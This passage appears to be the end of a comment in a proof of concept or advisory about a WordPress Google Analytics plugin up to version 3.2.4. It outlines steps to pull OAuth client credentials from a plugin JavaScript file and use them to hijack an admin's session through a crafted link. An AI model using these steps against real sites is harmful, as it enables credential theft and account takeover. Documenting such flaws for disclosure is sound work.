Visit: https://target-site.com/wp-content/plugins/googleanalytics/assets/js/ga-config.js 2. Search for 'client_id' and 'client_secret' in the source 3. Use extracted credentials for OAuth hijacking Attack requires: - Target site running vulnerable plugin version <= 3.2.4 - Admin logged into WordPress and Google Analytics - Admin clicking attacker-crafted link */
